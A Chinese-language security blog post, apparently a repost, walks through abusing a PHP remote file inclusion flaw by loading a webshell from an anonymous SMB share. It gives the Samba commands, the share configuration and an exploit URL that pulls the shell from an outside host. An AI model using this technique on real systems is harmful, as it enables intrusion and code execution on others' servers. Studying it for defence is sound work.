通过SMB造成远程文件包含(双Off情况)

2019-05-15 约 1150 字 预计阅读 3 分钟

声明:本文 【通过SMB造成远程文件包含(双Off情况)】 由作者 Hulk 于 2019-05-15 09:28:00 首发 先知社区 曾经 浏览数 31 次

感谢 Hulk 的辛苦付出!

前言

这篇文章我将演示利用远程文件包含(RFI)漏洞的一些技术,用于演示的PHP程序设置为易受"文件包含攻击"。我们的PHP环境配置为不允许从远端HTTP/FTP URL包含文件,但我仍可以绕过远程URL包含的限制,实施利用RFI。

PHP与SMB共享文件权限

PHP配置文件默认设置"allow_url_include"为"Off",限制PHP从远程加载HTTP/FTP URLs,这有效地防止了远程文件包含攻击。但是,即使PHP的"allow_url_include" 和 "allow_url_fopen" 都设置为“Off”,SMB URL也可以加载。通过滥用PHP的这个特性,可以实现从远程主机的SMB共享中加载 PHP webshell。

攻击概述

如果存在缺陷的PHP程序要从攻击者控制的SMB共享加载PHP webshell,SMB共享应当赋予访问该文件的权限。攻击者需配置开启SMB服务器的匿名访问。配置后程序如要访问SMB共享中的webshell,SMB服务器将不会要求提供凭据,从而成功包含webshell。

PHP环境设置

受害者机器应当配置"allow_url_include" 和 "allow_url_fopen" 为“Off”,我使用的PHP版本为"5.5.11":

在正式开始之前,确认代码的确不允许通过HTTP从远程主机读取webshell:

程序抛出错误,尝试RFI失败。

开启SAMBA服务器匿名读取权限(Linux环境)

先安装SAMBA服务器:

apt-get install samba

创建SMB共享目录:

mkdir /var/www/html/pub/

赋予新创建的SMB共享目录权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

移除SAMBA服务器的默认配置文件内容:

echo > /etc/samba/smb.conf

把下面的内容填充到'/etc/samba/smb.conf' :

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重启SAMBA服务器使/etc/samba/smb.conf 的新配置生效:

service smbd restart

重启后,(使用局域网中的另一台主机)尝试访问SMB共享,确认SAMBA服务器不会要求提供凭据。在本例中,SAMBA服务器IP为:192.168.0.3,如需在windows中访问SMB,我需输入: \\192.168.0.3\

添加PHP webshell

OK,我们可以访问SMB共享,即"ica"文件夹。

SMB共享的"ica"目录的真实地址为"/var/www/html/pub",上传一个webshell:

访问\\192.168.0.3\ica\,可以看到马子:

演示

使用包含wenshell的SMB链接作为远程包含的URL:

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

Duang!成功绕过PHP远程文件包含的限制。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now